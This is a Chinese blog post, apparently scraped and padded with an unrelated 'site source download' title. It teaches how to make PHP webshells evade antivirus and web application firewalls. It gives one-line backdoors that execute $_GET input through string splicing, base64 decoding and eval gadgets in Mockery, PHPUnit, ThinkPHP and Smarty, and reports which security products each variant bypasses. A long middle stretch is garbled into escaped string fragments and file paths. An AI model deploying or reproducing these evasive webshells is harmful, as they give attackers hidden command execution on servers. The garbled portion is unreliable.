webshell打包PHP网站源码分享(php网站源码下载)

其实webshell打包PHP网站源码分享的问题并不复杂,但是又很多的朋友都不太了解php网站源码下载,因此呢,今天小编就来为大家分享webshell打包PHP网站源码分享的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!

严正申明:请遵守法律法规,文章旨在提高安全软件的应变策略,严禁非法使用,后果自负。

webshell免杀

字符串变形

1.简单字符串拼接

<?php\n$func=$_GET[&34;];\n$a=&34;;\n$s=&34;;\n$c=$a.$s.$_GET[&34;];\n$c($func);\n?>\n

免杀效果

某狗4.0

某盾

可以看到这里非常简单的混淆就能绕过安全狗

某塔最新收费waf

可以看到这简单的混淆是无法绕过宝塔的

但是如果我们不使用敏感函数作为参数的话

还是可以发现其实只是过滤参数里的内容,其实依旧比较好绕过,下下面的字符串处理中,我们会使用到函数来进行流量加密和代码加密

2.利用字符串函数

ucwords()//把每个单词的首字符转换为大写\nucfirst()//首字符转换为大写\ntrim()//移除字符串两侧的字符\nsubstr_replace()//函数把字符串的一部分替换为另一个字符串\nsubstr()//函数返回字符串的一部分\nstrtr()//函数转换字符串中特定的字符\nstrtoupper()//把所有字符转换为大写\nstrtolower()//把所有字符转换为小写\nstrtok()//函数把字符串分割为更小的字符串\nstr_rot13()//函数对字符串执行ROT13编码\nchr()//从指定ASCII值返回字符\nhex2bin()//把十六进制值转换为ASCII字符\nbin2hex()//ASCII字符的字符串转换为十六进制值\ngzcompress()、gzdeflate()、gzencode()//字符串压缩\ngzuncompress()、gzinflate()、gzdecode()//字符串解压\nbase64_encode()//base64编码\nbase64_decode()//nase64解码\npack()//数据装入一个二进制字符串\nunpack()//从二进制字符串对数据进行解包\n

在这里我们使用base64加参数加密

<?php\n$func=base64_decode($_GET[&34;]);\n34;a&34;s&34;func2&34;功夫不负有心人&34;abc&34;压缩后:&34;<br>解压后:&34;func&34;a&34;s&34;func2&34;phpinfo();&34;123.txt&34;zh-CN&34;utf-8&34;post&34;multipart/form-data&34;&34;file&34;filename&34;submit&34;H14&34;706870696e666f&34;a&34;s&34;func2&34;&34;&34;&34;&34;&39;demo&39;123456&39;AES-128-ECB&39;AES-128-ECB&34;加密后:&39;123456&39;AES-128-ECB&34;<br>解密后:&34;password&39;func&39;AES-128-ECB&34;a&34;s&34;func2&34;password&39;func&34;a&34;s&34;func2&34;a&34;s&34;sert&34;PHPSESSID&39;dmeo&34;PHPSESSID&34;a&34;s&34;sert&39;dmeo&34;a&34;s&34;sert&39;Demo&34;php&34;demo&34;a&34;s&34;sert&39;_GET&34;a&34;s&34;sert&39;Demo&34;&34;&34;a&34;s&34;sert&34;$f&34;a&34;b&34;.php&34;DEMO&34;ert&34;test.txt&34;func&34;a&34;s&34;func2&39;Site\\\\Website&39;name&39;getName&39;TITLE&39;getUrl&34;&34;&34;\\n&34;&34;/&34;&34;*&34;&34;a&34;s&34;sert&34;a&34;s&34;sert&34;a&34;s&34;sert&34;1&34;C:/Users/12107/Desktop/demo/&34;C:/Users/12107/Desktop/demo2/&34;2021-09-0817:01:20&34;AES&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Common/functions.php&39;get.func&39;&39;&39;get.cmd&39;&39;&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Common/functions.php&34;ThinkPHP/Library/Think/Hook.class.php&39;get.func&39;&39;&34;demo&34;test&39;get.cmd&39;&39;&39;&39;&39;Behavior&39;Behavior&39;run&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php&34;&39;get.cmd&39;&39;&34;&39;&39;WWW_PATH&39;\\\\&39;/&39;/../&34;ThinkPHP/Common/functions.php&39;get.func&39;&39;&39;get.cmd&39;&39;&load

<?php\ndefine(&39;,str_replace(&39;,&39;,realpath(dirname(__FILE__).&39;)));\ninclude(WWW_PATH.&34;);\n\n$c=newMockery\\Generator\\MockConfiguration(array(),array(),array(),&39;);\n$b=newMockery\\Generator\\MockDefinition($c,&39;.$_GET[&39;]);\n$a=newMockery\\Loader\\EvalLoader();\n$a->load($b);\n

免杀效果

EvalLoader34;?>&generate

<?php\ndefine(&39;,str_replace(&39;,&39;,realpath(dirname(__FILE__).&39;)));\ninclude(WWW_PATH.&34;);\n$a=newPHPUnit\\Framework\\MockObject\\MockTrait($_GET[&39;],&39;);\n$a->generate();\n

免杀效果

MockTraitgenerate

<?php\ndefine(&39;,str_replace(&39;,&39;,realpath(dirname(__FILE__).&39;)));\ninclude(WWW_PATH.&34;);\n$a=newPHPUnit\\Framework\\MockObject\\MockTrait($_GET[&39;],&39;);\n$a->generate();\n

免杀效果

view39;WWW_PATH&39;\\\\&39;/&39;/../&34;/vendor/autoload.php&39;cmd&evaluateDynamicContent分析

publicfunctionevaluateDynamicContent($statements)\n{\nreturneval($statements);\n}\n

总结

通过文件包含框架文件,用框架内置的函数来替换一句话木马中的功能函数,达到绕过特征匹配,如果后期规则增强,可以通过搜索新的函数来间接调用函数,像反序列化利用链一样,当然,还有很多其他函数可以使用在这里就不多列举。

referhttps://tttang.com/archive/1740/

关于webshell打包PHP网站源码分享的内容到此结束,希望对大家有所帮助。

站内搜索